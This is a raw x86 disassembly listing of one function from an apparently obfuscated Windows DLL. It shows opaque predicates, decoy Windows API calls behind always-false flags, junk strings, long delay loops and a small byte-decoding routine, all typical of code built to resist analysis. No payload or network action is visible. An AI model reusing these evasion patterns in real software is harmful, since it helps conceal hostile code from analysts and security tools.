call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10028d70
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor eax, eax
mov dword [ebp - 0xe0], 7
mov word [ebp - 0xf4], ax
lea ecx, [ebp - 0xf4]
lea eax, [ebp - 0x58]
mov dword [ebp - 0xe4], ebx
push eax
call fcn.10014735
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0xfc9a57b5
mov dword [ebp - 0x24], 0x42af
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x34], 0x1114
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x10028de1
cmp dword [ebp - 0x28], ebx
jne 0x10028de1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov eax, ebx
cmp dword [ebp - 0x1c], ebx
je 0x10028de3
mov eax, esi
mov dword [ebp - 0x2c], eax
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
add ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x2c], eax
jg 0x10028e20
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], 3
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10028e3e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
cmp eax, 8
setg cl
xor eax, eax
cmp ecx, 0xc698
setg al
xor ecx, ecx
add eax, 9
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 0x7f45b6d4
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, 0x4ce5fef4
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x34]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0xbc0a
setge cl
xor edx, edx
imul ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x58], ebx
cmp eax, ecx
setge dl
sub edx, 0xef5b
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x3c], 0xb7d4
mov dword [ebp - 0x1c], ebx
jmp 0x100290d3
mov dword [ebp - 0x20], 0xebc5f7c0
mov dword [ebp - 0x20], ebx
jmp 0x10028eff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c], 0xf82966b9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10028eee
mov dword [ebp - 0x20], ebx
jmp 0x10028f18
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x5c], 0xfffffffb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10028f0a
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10028f2f
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov eax, dword [ebp - 0x9c]
xor edx, edx
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xa0]
setg cl
xor edx, edx
add eax, ecx
cmp eax, 3
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x24]
je 0x10029008
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], 0xf93a29ad
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jne 0x10028f90
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x30]
cmp eax, esi
setg cl
cmp ecx, dword [ebp - 0x24]
je 0x10028fb5
mov ecx, ebx
cmp dword [ebp - 0x1c], ebx
je 0x10028fb7
mov ecx, esi
mov eax, dword [ebp - 0x98]
sub ecx, eax
jne 0x10028fc4
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
cmp eax, 0x8ed5
mov eax, dword [ebp - 0x5c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x88]
setle dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x88]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x88]
cmp eax, ecx
setge dl
mov dword [ebp - 0x20], edx
jmp 0x10028d70
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x10028d70
mov dword [ebp - 0x2c], 0x6a3b
cmp dword [ebp - 0x2c], 0x6b6d
jle 0x10029094
push 0x57f
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
cdq
idiv edi
lea eax, [ecx + edx]
cdq
lea ecx, [ebp - 0x20c]
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002905a
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x20c]
call fcn.10014649
mov eax, dword [ebp - 0x34]
inc edi
mov ecx, dword [ebp - 0x24]
cmp edi, 0x23ad
jl 0x1002903c
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x1452
jl 0x1002903a
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x43ae
jl 0x10029035
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x2c], 0x6773
jge 0x100290ab
push str.nzt_kbsfcn_hrkhxc_oeftjplhk
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 0xb
cmp byte [ebp - 0x15], bl
je 0x100290bd
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
dec dword [ebp - 0x20]
jmp 0x1002900b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x48], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100290c5
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xdc], 0xfffffffb
mov dword [ebp - 0xd8], 0xfffffffb
mov dword [ebp - 0xd4], 0xfffffffb
mov dword [ebp - 0xd0], 0xfffffffb
mov dword [ebp - 0x1c], ebx
jmp 0x1002912e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x84], 0x41a62a96
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002911d
mov dword [ebp - 0x1c], 0x399a
cmp dword [ebp - 0x1c], 0x3b70
jle 0x10029193
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov eax, edi
mov dword [ebp - 0x30], 0x1517
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
xor eax, edi
mov ecx, 0x10072098
cdq
push edx
push eax
call fcn.10013ec4
mov eax, dword [ebp - 0x2c]
dec eax
dec dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
jne 0x1002915b
mov edi, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x6549
jl 0x1002914c
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x4cdc
jl 0x10029147
mov dword [ebp - 0x84], ebx
cmp dword [ebp - 0x84], ebx
jl 0x10029288
mov dword [ebp - 0x24], 0xfffffffa
xor edx, edx
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setg dl
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 3
jg 0x1002927d
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0xd0], 6
mov dword [ebp - 0x34], 0x5ab2
cmp dword [ebp - 0x34], 0x5d6c
jle 0x1002924b
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x30], 0x4022
mov dword [ebp - 0x2c], eax
cdq
lea ecx, [ebp - 0x23c]
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10029221
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x23c]
call fcn.10014649
mov eax, dword [ebp - 0x2c]
add eax, edi
dec dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
jne 0x10029209
inc edi
cmp edi, 0x5756
jl 0x100291fd
mov eax, dword [ebp - 0x84]
cmp dword [ebp + eax*4 - 0xd0], ebx
jne 0x10029275
cmp dword [ebp - 0x34], 0x5a56
jge 0x1002926e
push str.mbkhq_iputahvvs_rouulvach_vucec_vyghkgq_rquflua_lyxxhnem_ppqvoji
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 0x14
inc dword [ebp - 0x24]
jmp 0x100291c9
dec dword [ebp - 0x84]
jmp 0x10029199
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x1c], 0x3774
jge 0x100292c5
mov edx, str.gqg_sfrchq_mkyseaby_sacivmx_ohuxx_xind_zmlahxakz_bsphyh
mov ecx, 0x10072098
call fcn.1001684d
jmp 0x100292c5
push 0x5f
pop eax
mov dword [ebp - 4], 0x14
mov ecx, ebx
push 2
mov dword [ebp - 0x68], 0xa704f700
mov word [ebp - 0x64], 0x8339
mov byte [ebp - 0x62], 0xe8
mov word [ebp - 0x54], ax
pop edi
cmp edi, 2
jne 0x100292f5
push 5
pop ecx
push ecx
pop edi
jmp 0x1002931c
movzx edx, byte [ebp + edi - 0x67]
mov eax, edi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x6a]
movzx eax, word [ebp + eax*2 - 0x54]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + edi - 0x68]
mov word [ebp + eax*2 - 0x54], cx
mov ecx, ebx
add edi, 2
cmp edi, 7
jb 0x100292e9
xor eax, eax
mov dword [ebp - 0x13c], 7
mov word [ebp - 0x52], ax
lea ecx, [ebp - 0x150]
mov word [ebp - 0x150], ax
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x140], ebx
call fcn.10014735
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x2c], 0x28cb
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x34], 0xa47b6c41
mov dword [ebp - 0x1c], ebx
jmp 0x10029386
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x40], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10029378
mov dword [ebp - 0x40], 0xfffffff2
jmp 0x10029444
mov dword [ebp - 0x1c], 0x9f7fd1e8
mov dword [ebp - 0x38], 0x4145c174
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x34], 5
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jne 0x100293cd
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setg dl
xor ebx, ebx
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setge bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x1c]
je 0x1002940c
mov ecx, ebx
cmp dword [ebp - 0x2c], ebx
je 0x1002940e
mov ecx, esi
mov eax, dword [ebp - 0x1c]
add eax, ecx
cmp eax, 6
je 0x1002941b
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xc
jge 0x10029397
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10029464
push ebx
push 0x127e
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push dword [ebp - 0xe4]
cmp dword [ebp - 0xe0], 8
lea eax, [ebp - 0xf4]
push ebx
cmovae eax, dword [ebp - 0xf4]
lea ecx, [ebp - 0x16c]
push eax
call fcn.1002979d
cmp eax, 0xffffffff
je 0x100294a9
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x150]
push ecx
push esi
push eax
lea ecx, [ebp - 0x16c]
call fcn.10017c2e
jmp 0x10029464
mov ecx, dword [ebp - 0x94]
lea eax, [ebp - 0x16c]
push eax
lea edx, [ebp - 0x138]
call fcn.10029840
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x150]
call fcn.100147bd
push ebx
push esi
lea ecx, [ebp - 0xf4]
call fcn.100147bd
push ebx
push esi
lea ecx, [ebp - 0x16c]
call fcn.100147bd
push ebx
push esi
lea ecx, [ebp - 0x138]
call fcn.100147bd
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x94]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret